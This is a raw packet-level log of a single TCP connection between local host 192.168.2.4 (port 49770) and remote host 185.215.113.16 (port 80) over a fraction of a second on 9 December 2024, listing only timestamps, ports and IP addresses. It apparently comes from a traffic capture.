Dec 9, 2024 23:09:13.076980114 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.077903986 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.077960014 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.077997923 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.078139067 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.078677893 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.078736067 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.078814983 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.078871012 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.079766989 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.079830885 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.079862118 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.079935074 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.080826044 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.080888033 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.081120014 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.081331015 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.081931114 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.081996918 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.091526031 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.091576099 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.091604948 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.091649055 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.091866016 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.091909885 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.091937065 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.091984987 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.092900991 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.092941046 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.092969894 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.093025923 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.093974113 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.094098091 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.094132900 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.094151020 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.094738960 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.094788074 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.094856977 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.094898939 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.095853090 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.095881939 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.095902920 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.095927954 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.096932888 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.096980095 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.096982002 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.097027063 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.098011017 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.098064899 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.098119974 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.098176003 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.099101067 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.099152088 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.099206924 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.099246979 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.100193024 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.100235939 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.100295067 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.100469112 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.101299047 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.101351023 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.101366997 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.101424932 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.102364063 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.102417946 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.102474928 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.102550030 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.103424072 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.103532076 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.103560925 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.103653908 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.104521036 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.104564905 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.104608059 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.104650974 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.105629921 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.105796099 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.105860949 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.106709003 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.106767893 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.106780052 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.106822968 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.107992887 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.108035088 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.108109951 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.108164072 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.108946085 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.109005928 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.109030008 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.109095097 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.109977007 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.110028028 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.110079050 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.110152960 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.111004114 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.111057043 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.111104965 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.111146927 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.112196922 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.112246990 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.112267971 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.112287045 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.113209963 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.113250971 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.113325119 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.113363981 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.114391088 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.114471912 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.114495993 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.114533901 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.115525961 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.115564108 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.115685940 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.115730047 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.116683006 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.116733074 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.116740942 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.116777897 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.117737055 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.117784977 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.117898941 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.117949009 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.118674994 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.118721962 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.118803978 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.118840933 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.119788885 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.119834900 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.119911909 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.119968891 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.120834112 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.120887041 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.120975018 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.121026039 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.122004032 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.122049093 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.122178078 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.122226000 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.122982025 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.123024940 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.123044014 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.123089075 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.124105930 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.124174118 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.124181032 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.124213934 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.125175953 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.125286102 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.125307083 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.125323057 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.126205921 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.126247883 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.126279116 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.126317024 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.127290964 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.127327919 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.127401114 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.127439976 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.128387928 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.128449917 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.128478050 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.128563881 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.129492998 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.129539013 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.129718065 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.129764080 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.130561113 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.130608082 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.130772114 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.131014109 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.131690979 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.131736040 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.131757975 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.131795883 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.132755995 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.132824898 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.132884979 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.132937908 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.133893967 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.133940935 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.134000063 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.134074926 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.134876966 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.134927034 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.134963989 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.135030985 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.136001110 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.136128902 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.136177063 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.137053013 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.137109041 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.137135029 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.137171984 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.138197899 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.138251066 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.138339043 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.138386011 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.139291048 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.139339924 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.139348984 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.139379025 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.140328884 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.140382051 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.140414953 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.140527964 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.141383886 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.141486883 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.268405914 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.268532038 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.268604040 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.268846989 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.268896103 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.268974066 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.269023895 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.269979000 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.270024061 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.270382881 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.270426989 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.270992994 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.271035910 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.271065950 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.271110058 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.272032022 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.272104025 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.272149086 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.273175001 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.273228884 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.273348093 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.273392916 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.275738955 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.275785923 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.275815010 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.275861025 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.283776999 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.283824921 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.283982992 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.283991098 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.284032106 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.285443068 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.285453081 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.285464048 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.285480976 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.285511017 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.287149906 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.287161112 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.287169933 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.287180901 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.287220001 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.287246943 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.288929939 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.288978100 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.289766073 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.289797068 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.289808035 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.289809942 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.289846897 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.290189981 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.290246010 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.290271997 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.290316105 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.291281939 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.291327000 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.291467905 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.291510105 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.292402029 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.292516947 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.292563915 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.293476105 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.293534994 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.293688059 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.293741941 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.294792891 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.294847965 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.294929981 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.295063972 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.295852900 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.295895100 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.296092033 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.296142101 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.296895981 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.296945095 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.297838926 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.297849894 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.297893047 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.299134016 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.299144030 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.299154997 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.299180031 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.299206972 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.299962997 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.300086021 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.300127983 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.301132917 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.301175117 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.301338911 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.301378965 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.302123070 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.302176952 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.302200079 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.302237034 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.303193092 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.303261042 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.303339005 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.303385973 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.304299116 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.304347038 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.304497957 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.304543018 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.305408955 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.305463076 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.305494070 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.305536985 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.306487083 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.306535006 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.306550026 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.306586981 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.308990002 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.309047937 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.309058905 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.309087992 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.309113979 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.309235096 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.309776068 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.309818983 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.309839010 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.309873104 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.310833931 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.310877085 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.311129093 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.311167955 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.311950922 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.311999083 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.312066078 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.312117100 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.313019037 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.313075066 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.313127041 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.313180923 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:13.314094067 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:13.314203978 CET	80	49770	185.215.113.16	192.168.2.4
